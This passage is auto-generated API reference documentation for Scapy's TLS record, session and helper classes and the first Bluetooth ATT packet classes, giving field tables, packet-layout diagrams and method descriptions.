|      TYPE     |            VERSION            |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               IV              |      MSG      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              MAC              |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     PADLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. TLS                             


TLS fields






	type

	ByteEnumField

	None



	version

	_TLSVersionField

	None



	len

	_TLSLengthField

	None



	iv

	_TLSIVField

	None



	msg

	_TLSMsgListField

	[]



	mac

	_TLSMACField

	None



	pad

	_TLSPadField

	None



	padlen

	_TLSPadLenField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L746-L751]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L671-L744]

	Apply the previous methods according to the writing cipher type.






	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L548-L567]

	Commit the pending r/w state if it has been triggered (e.g. by an
underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We update
nothing if the prcs was not set, as this probably means that we’re
working out-of-context (and we need to keep the default rcs).






	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L429-L546]

	Decrypt, verify and decompress the message,
i.e. apply the previous methods according to the reading cipher type.
If the decryption was successful, ‘len’ will be the length of the
TLSPlaintext.fragment. Else, it should be the length of the
_TLSEncryptedContent.










	
class scapy.layers.tls.record.TLSAlert(_pkt, /, *, level=None, descr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L806-L818]

	Bases: _GenericTLSSessionInheritance


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LEVEL     |     DESCR     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. TLSAlert                           


TLSAlert fields






	level

	ByteEnumField

	None



	descr

	ByteEnumField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L811-L812]

	




	
post_build_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L817-L818]

	




	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L814-L815]

	








	
class scapy.layers.tls.record.TLSApplicationData(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L825-L833]

	Bases: _GenericTLSSessionInheritance


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TLSApplicationData                      


TLSApplicationData fields






	data

	StrField

	b''











	
post_build_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L832-L833]

	




	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L829-L830]

	








	
class scapy.layers.tls.record.TLSChangeCipherSpec(_pkt, /, *, msgtype=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L761-L777]

	Bases: _GenericTLSSessionInheritance

Note that, as they are not handshake messages, the ccs messages do not get
appended to the list of messages whose integrity gets verified through the
Finished messages.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |
+-+-+-+-+-+-+-+-+

                     Fig. TLSChangeCipherSpec                     


TLSChangeCipherSpec fields






	msgtype

	ByteEnumField

	1











	
post_build_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L773-L777]

	




	
post_dissection_tls_session_update(msg_str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record.py#L770-L771]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.record_sslv2

SSLv2 Record.


	
class scapy.layers.tls.record_sslv2.SSLv2(_pkt, /, *, len=None, padlen=None, mac=b'', msg=[], pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_sslv2.py#L67-L272]

	Bases: TLS

The encrypted_data is the encrypted version of mac+msg+pad.


	
aliastypes

	




	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_sslv2.py#L169-L180]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |     PADLEN    |      MAC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              MSG              |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. SSLv2                            


SSLv2 fields






	len

	_SSLv2LengthField

	None



	padlen

	_SSLv2PadLenField

	None



	mac

	_TLSMACField

	b''



	msg

	_SSLv2MsgListField

	[]



	pad

	_SSLv2PadField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_sslv2.py#L203-L272]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_sslv2.py#L149-L167]

	SSLv2 may force us to commit the write connState here.






	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_sslv2.py#L102-L147]

	




	
protected_record

	




	
with_padding

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.record_tls13

Common TLS 1.3 fields & bindings.

This module covers the record layer, along with the ChangeCipherSpec, Alert and
ApplicationData submessages. For the Handshake type, see tls_handshake.py.

See the TLS class documentation for more information.


	
class scapy.layers.tls.record_tls13.TLS13(_pkt, /, *, type=23, version=771, len=None, inner=<TLSInnerPlaintext  |>, auth_tag=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L92-L223]

	Bases: _GenericTLSSessionInheritance


	
aliastypes

	




	
deciphered_len

	




	
do_dissect_payload(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L168-L174]

	Try to dissect the following data as a TLS message.
Note that overloading .guess_payload_class() would not be enough,
as the TLS session to be used would get lost.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |            VERSION            |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             INNER             |    AUTH TAG   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. TLS13                            


TLS13 fields






	type

	ByteEnumField

	23



	version

	_TLSVersionField

	771



	len

	_TLSLengthField

	None



	inner

	_TLSInnerPlaintextField

	<TLSInnerPlaintext  |>



	auth_tag

	_TLSMACField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L218-L223]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L191-L216]

	Apply the previous methods according to the writing cipher type.






	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L155-L166]

	Commit the pending read state if it has been triggered. We update
nothing if the prcs was not set, as this probably means that we’re
working out-of-context (and we need to keep the default rcs).






	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L130-L153]

	Decrypt, verify and decompress the message.










	
class scapy.layers.tls.record_tls13.TLSInnerPlaintext(_pkt, /, *, msg=[], type=None, pad=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L36-L62]

	Bases: _GenericTLSSessionInheritance


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MSG              |      TYPE     |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. TLSInnerPlaintext                      


TLSInnerPlaintext fields






	msg

	_TLSMsgListField

	[]



	type

	ByteEnumField

	None



	pad

	XStrField

	b''











	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/record_tls13.py#L42-L62]

	We need to parse the padding and type as soon as possible,
else we won’t be able to parse the message list…












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.session

TLS session handler.


	
class scapy.layers.tls.session.TLSSession(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L1248-L1264]

	Bases: TCPSession


	
toPacketList()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L1262-L1264]

	








	
class scapy.layers.tls.session.connState(connection_end='server', read_or_write='read', seq_num=0, compression_alg=<class 'scapy.layers.tls.crypto.compression.Comp_NULL'>, ciphersuite=None, tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L89-L330]

	Bases: object

From RFC 5246, section 6.1:
A TLS connection state is the operating environment of the TLS Record
Protocol.  It specifies a compression algorithm, an encryption
algorithm, and a MAC algorithm.  In addition, the parameters for
these algorithms are known: the MAC key and the bulk encryption keys
for the connection in both the read and the write directions.
Logically, there are always four connection states outstanding: the
current read and write states, and the pending read and write states.
All records are processed under the current read and write states.
The security parameters for the pending states can be set by the TLS
Handshake Protocol, and the ChangeCipherSpec can selectively make
either of the pending states current, in which case the appropriate
current state is disposed of and replaced with the pending state; the
pending state is then reinitialized to an empty state.  It is illegal
to make a state that has not been initialized with security
parameters a current state.  The initial current state always
specifies that no encryption, compression, or MAC will be used.

(For practical reasons, Scapy scraps these two last lines, through the
implementation of dummy ciphers and MAC with TLS_NULL_WITH_NULL_NULL.)

These attributes and behaviours are mostly mapped in this class.
Also, note that Scapy may make a current state out of a pending state
which has been initialized with dummy security parameters. We need
this in order to know when the content of a TLS message is encrypted,
whether we possess the right keys to decipher/verify it or not.
For instance, when Scapy parses a CKE without knowledge of any secret,
and then a CCS, it needs to know that the following Finished
is encrypted and signed according to a new cipher suite, even though
it cannot decipher the message nor verify its integrity.


	
debug_repr(name, secret)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L172-L178]

	




	
derive_keys(client_random=b'', server_random=b'', master_secret=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L180-L275]

	




	
snapshot()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L308-L321]

	This is used mostly as a way to keep the cipher state and the seq_num.






	
sslv2_derive_keys(key_material)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L277-L298]

	There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY.

Note that skip_first is opposite from the one with SSLv3 derivation.

Also, if needed, the IV should be set elsewhere.






	
tls13_derive_keys(key_material)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L300-L306]

	








	
scapy.layers.tls.session.load_nss_keys(filename: str) → Dict[str, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L33-L77]

	Parses a NSS Keys log and returns unpacked keys in a dictionary.






	
class scapy.layers.tls.session.readConnState(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L333-L335]

	Bases: connState






	
class scapy.layers.tls.session.tlsSession(ipsrc=None, ipdst=None, sport=None, dport=None, sid=None, connection_end='server', wcs=None, rcs=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L347-L971]

	Bases: object

This is our TLS context, which gathers information from both sides of the
TLS connection. These sides are represented by a readConnState instance and
a writeConnState instance. Along with overarching network attributes, a
tlsSession object also holds negotiated, shared information, such as the
key exchange parameters and the master secret (when available).

The default connection_end is “server”. This corresponds to the expected
behaviour for static exchange analysis (with a ClientHello parsed first).


	
compute_master_secret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L609-L626]

	




	
compute_ms_and_derive_keys()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L637-L646]

	




	
compute_sslv2_key_material()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L650-L665]

	




	
compute_sslv2_km_and_derive_keys()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L667-L670]

	




	
compute_tls13_early_secrets(external=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L674-L733]

	This function computes the Early Secret, the binder_key,
the client_early_traffic_secret and the
early_exporter_master_secret (See RFC8446, section 7.1).

The parameter external is used for the computation of the
binder_key:


	For external PSK provisioned outside out of TLS, the parameter
external must be True.


	For resumption PSK, the parameter external must be False.




If no argument is specified, the label “res binder” will be
used by default.

Ciphers key and IV are updated accordingly for 0-RTT data.
self.handshake_messages should be ClientHello only.






	
compute_tls13_handshake_secrets()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L735-L763]

	Ciphers key and IV are updated accordingly for Handshake data.
self.handshake_messages should be ClientHello…ServerHello.






	
compute_tls13_next_traffic_secrets(connection_end, read_or_write)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L871-L910]

	Ciphers key and IV are updated accordingly.






	
compute_tls13_resumption_secret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L858-L869]

	self.handshake_messages should be ClientHello…ClientFinished.






	
compute_tls13_traffic_secrets()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L765-L803]

	Ciphers key and IV are updated accordingly for Application data.
self.handshake_messages should be ClientHello…ServerFinished.






	
compute_tls13_traffic_secrets_end()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L805-L810]

	




	
compute_tls13_verify_data(connection_end, read_or_write, handshake_context)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L812-L856]

	




	
consider_read_padding()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L914-L917]

	




	
consider_write_padding()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L919-L921]

	




	
eq(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L942-L958]

	




	
hash()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L932-L940]

	




	
mirror()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L561-L605]

	This function takes a tlsSession object and swaps the IP addresses,
ports, connection ends and connection states. The triggered_commit are
also swapped (though it is probably overkill, it is cleaner this way).

It is useful for static analysis of a series of messages from both the
client and the server. In such a situation, it should be used every
time the message being read comes from a different side than the one
read right before, as the reading state becomes the writing state, and
vice versa. For instance you could do:

client_hello = open('client_hello.raw').read()
<read other messages>

m1 = TLS(client_hello)
m2 = TLS(server_hello, tls_session=m1.tls_session.mirror())
m3 = TLS(server_cert, tls_session=m2.tls_session)
m4 = TLS(client_keyexchange, tls_session=m3.tls_session.mirror())










	
repr(_underlayer=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L960-L968]

	




	
set_underlayer(_underlayer)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L546-L557]

	




	
use_explicit_iv(version, cipher_type)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L923-L928]

	




	
use_nss_master_secret_if_present() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L628-L635]

	








	
class scapy.layers.tls.session.writeConnState(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/session.py#L338-L340]

	Bases: connState








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.tools

TLS helpers, provided as out-of-context methods.


	
class scapy.layers.tls.tools.TLSCiphertext(_pkt, /, *, type=None, version=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/tools.py#L35-L36]

	Bases: TLSPlaintext


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |            VERSION            |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TLSCiphertext                        


TLSCiphertext fields






	type

	ByteEnumField

	None



	version

	ShortEnumField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.tls.tools.TLSCompressed(_pkt, /, *, type=None, version=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/tools.py#L31-L32]

	Bases: TLSPlaintext


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |            VERSION            |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TLSCompressed                        


TLSCompressed fields






	type

	ByteEnumField

	None



	version

	ShortEnumField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''















	
class scapy.layers.tls.tools.TLSPlaintext(_pkt, /, *, type=None, version=None, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/tools.py#L22-L28]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |            VERSION            |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TLSPlaintext                         


TLSPlaintext fields






	type

	ByteEnumField

	None



	version

	ShortEnumField

	None



	len

	FieldLenField

	None



	data

	StrLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.bluetooth

Bluetooth layers, sockets and send/receive functions.


	
class scapy.layers.bluetooth.ATT_Error_Response(_pkt, /, *, request=0, handle=0, ecode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L640-L644]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    REQUEST    |             HANDLE            |     ECODE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ATT_Error_Response                      


ATT_Error_Response fields






	request

	XByteField

	0



	handle

	LEShortField

	0



	ecode

	ByteEnumField

	0















	
class scapy.layers.bluetooth.ATT_Exchange_MTU_Request(_pkt, /, *, mtu=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L647-L649]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ATT_Exchange_MTU_Request                   


ATT_Exchange_MTU_Request fields






	mtu

	LEShortField

	0















	
class scapy.layers.bluetooth.ATT_Exchange_MTU_Response(_pkt, /, *, mtu=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L652-L654]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ATT_Exchange_MTU_Response                  


ATT_Exchange_MTU_Response fields






	mtu

	LEShortField

	0















	
class scapy.layers.bluetooth.ATT_Execute_Write_Request(_pkt, /, *, flags=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L815-L822]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |
+-+-+-+-+-+-+-+-+

                  Fig. ATT_Execute_Write_Request                  


ATT_Execute_Write_Request fields






	flags

	ByteEnumField

	1















	
class scapy.layers.bluetooth.ATT_Execute_Write_Response(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L825-L826]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.ATT_Find_By_Type_Value_Request(_pkt, /, *, start=1, end=65535, uuid=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L679-L684]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             START             |              END              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              UUID             |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ATT_Find_By_Type_Value_Request                


ATT_Find_By_Type_Value_Request fields






	start

	XLEShortField

	1



	end

	XLEShortField

	65535



	uuid

	XLEShortField

	None



	data

	StrField

	b''















	
class scapy.layers.bluetooth.ATT_Find_By_Type_Value_Response(_pkt, /, *, handles=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L687-L689]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            HANDLES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ATT_Find_By_Type_Value_Response               


ATT_Find_By_Type_Value_Response fields






	handles

	PacketListField

	[]















	
class scapy.layers.bluetooth.ATT_Find_Information_Request(_pkt, /, *, start=0, end=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L657-L660]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             START             |              END              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ATT_Find_Information_Request                 


ATT_Find_Information_Request fields






	start

	XLEShortField

	0



	end

	XLEShortField

	65535















	
class scapy.layers.bluetooth.ATT_Find_Information_Response(_pkt, /, *, format=1, handles=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L663-L676]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FORMAT    |HANDLE|
+-+-+-+-+-+-+-+-+

                Fig. ATT_Find_Information_Response                


ATT_Find_Information_Response fields






	format

	XByteField

	1



	handles

	MultipleTypeField (PacketListField, PacketListField, StrFixedLenField)

	b''















	
class scapy.layers.bluetooth.ATT_Handle(_pkt, /, *, handle=0, value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L622-L628]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L627-L628]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ATT_Handle                          


ATT_Handle fields






	handle

	XLEShortField

	0



	value

	XLEShortField

	0















	
class scapy.layers.bluetooth.ATT_Handle_UUID128(_pkt, /, *, handle=0, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L631-L637]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L636-L637]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ATT_Handle_UUID128                      


ATT_Handle_UUID128 fields






	handle

	XLEShortField

	0



	value

	UUIDField

	None















	
